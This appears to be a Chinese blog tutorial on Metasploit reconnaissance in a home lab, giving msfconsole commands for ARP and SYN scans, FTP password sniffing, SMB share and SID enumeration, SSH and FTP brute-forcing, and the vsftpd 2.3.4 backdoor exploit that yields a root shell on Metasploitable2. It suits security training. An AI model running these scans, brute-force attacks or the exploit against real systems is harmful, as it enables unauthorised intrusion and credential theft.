Metasploit渗透测试之信息收集

多协议主机信息收集方法

基于 tcp协议收集主机信息

使用 Metasploit 中的 nmap和 arp _ sweep 收集主机信息

  • Metasploit中也有 nmap工具 (注: 192.168.1.180是Metasploitable2-Linux靶机)

        root@xuegod53:~# msfconsole

        msf5 > db _ nmap - sV 192.168.1.180

  • ARP扫描

        msf5 > use auxiliary/ scanner/ discovery/ arp _ sweep

  • 查看一下模块需要配置哪些参数

        msf5 auxiliary(scanner/ discovery/ arp _ sweep) > show options

  • 配置 RHOSTS (扫描的目标网络) 即可

        msf5 auxiliary(scanner/ discovery/ arp _ sweep) > set RHOSTS 192.168.1.0/24

  • SHOST和SMAC是伪造源IP和 MAC地址使用的。配置线程数

        msf5 auxiliary(scanner/ discovery/ arp _ sweep) > set THREADS 30
        msf5 auxiliary(scanner/ discovery/ arp _ sweep) > run

        msf5 auxiliary(scanner/ discovery/ arp _ sweep) > back   #退出一下

使用半连接方式扫描 TCP 端口

msf5 > search portscan

msf5 > use auxiliary/scanner/portscan/syn
查看配置项
msf5 auxiliary(scanner/portscan/syn) > show options
设置扫描的目标
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.1.180
设置端口范围使用逗号隔开,例如 22-25,80,110-900
msf5 auxiliary(scanner/portscan/syn) > set PORTS 80
设置线程数
msf5 auxiliary(scanner/portscan/syn) > set THREADS 20
msf5 auxiliary(scanner/portscan/syn) > run

使用 auxiliary/sniffer 下的 psnuffle 模块进行密码嗅探

实验拓扑图:
msf5 > search psnuffle
msf5 > use auxiliary/sniffer/psnuffle
查看 psnuffle 的模块作用:
msf5 auxiliary(sniffer/psnuffle) > info
root@xuegod53:~# apt install lftp -y      #安装 lftp 命令
root@xuegod53:~# lftp -u msfadmin 192.168.1.180
密码:msfadmin
连接成功后,进行下数据交互,查看 ftp 目录下的文件
lftp msfadmin@192.168.1.180:~> ls
回到 MSF 终端可以看到用户名密码信息已经被获取。
嗅探完成后记得把后台任务关闭
msf5 auxiliary(sniffer/psnuffle) > jobs #查看后台运行的任务
msf5 auxiliary(sniffer/psnuffle) > kill 0 #kill job ID,关闭 job

基于 SNMP 协议收集主机信息

我们使用 root 用户

先到 Metasploitable2-Linux 主机上修改一下 SNMP 服务,因为默认服务是 不 对外开放的。

msfadmin@metasploitable:~# vim /etc/default/snmpd
改第 11 行
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
为:
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
保存退出
重启 SNMP 服务
msfadmin@metasploitable:~$ sudo /etc/init.d/snmpd restart
确认服务监听正常
msfadmin@metasploitable:~$ netstat -antup | grep 161
实战-使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息

基于 SMB 协议收集信息

使用 smb_version 基于 SMB 协议扫描版本号

msf5 > use auxiliary/scanner/smb/smb_version
设置扫描目标,注意多个目标使用逗号+空格隔开
msf5 auxiliary(scanner/smb/smb_version) > show options
#设置
msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.56,
192.168.1.180
注: 192.168.1.56 后面的逗号和 192.168.1.180 之间是有空格的
msf5 auxiliary(scanner/smb/smb_version) > run

使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)

我们到 Windows 中启用一下共享服务。
新建文件夹 xuegod 并进入该文件夹。
枚举共享
msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > show options
扫描 192.168.1.53 到 192.168.1.60 的机器
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.56
如果你不配置用户,就扫描不到信息。配置一下用户信息,我这里用户是默认的管理员用户,密码没 有 设置。
'

使用 smb_lookupsid 扫描系统用户信息(SID 枚举)

我们在 Win7 上新建一个 xuegod 用户。密码也是 123456。
右键计算机→管理→本地用户和组→用户 ,在空白处,右击新建一个用户
注:SID 是 Windows 中每一个用户的 ID,更改用户名 SID 也是不会改变的。
msf5 > use auxiliary/scanner/smb/smb_lookupsid
msf5 auxiliary(scanner/smb/smb_lookupsid) > show options
msf5 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.1.56
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser administrator
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBPass 123456
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

基于 SSH 协议收集信息

查看 ssh 服务的版本信息

msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > show options
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.180
msf5 auxiliary(scanner/ssh/ssh_version) > run

对 SSH 暴力破解

设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。
msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit
framework/data/wordlists/root_userpass.txt
因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果新开一个 终端窗口
root@xuegod53:~# echo "msfadmin msfadmin" >> /usr/share/metasploit
framework/data/wordlists/root_userpass.txt
回到 MSF 终端
msf5 auxiliary(scanner/ssh/ssh_login) > run
因为我们是在文件的最后添加的,所以前面的都是失败的操作。

基于 FTP 协议收集信息

查看 ftp 服务的版本信息

加载 ftp 服务版本扫描模块

msf5 > use auxiliary/scanner/ftp/ftp_version
查看设置参数
msf5 auxiliary(scanner/ftp/ftp_version) > show options
设置目标 IP,可以设置多个
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.1.180
执行扫描,输入 exploit 或 run
msf5 auxiliary(scanner/ftp/ftp_version) > run
扫描出结果是:vsFTPd 2.3.4
msf5 auxiliary(scanner/ftp/ftp_version) > back
扫描出 ftp 服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块
msf5 > search 2.3.4
或者搜索 vsftpd
msf5 > search vsftpd
我们发现存在一个 exploit 模块,而且这个版本的 ftp 服务存在一个后门
我们尝试利用下这个模块
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.180
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
拿到了 shell,而且是 root 权限,我们尝试执行下命令
执行 id 命令, 查看当前用户
执行 ifconfig 命令,查看 IP 地址

ftp匿名登录扫描

msf5 > use auxiliary/scanner/ftp/anonymous
msf5 auxiliary(scanner/ftp/anonymous) > show options
msf5 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.1.180
msf5 auxiliary(scanner/ftp/anonymous) > run

ftp 暴力破解

msf5 > use auxiliary/scanner/ftp/ftp_login
msf5 auxiliary(scanner/ftp/ftp_login) > show options
msf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.1.180
设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。
msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
回到 MSF 终端
msf5 auxiliary(scanner/ftp/ftp_login) > run
因为我们是在文件的最后添加的,所以前面的都是失败的操作。
总结:
基于 tcp 协议收集主机信息
基于 SNMP 协议收集主机信息
基于 SMB 协议收集信息
基于 SSH 协议收集信息
基于 FTP 协议收集信息
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

韦煜欣

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值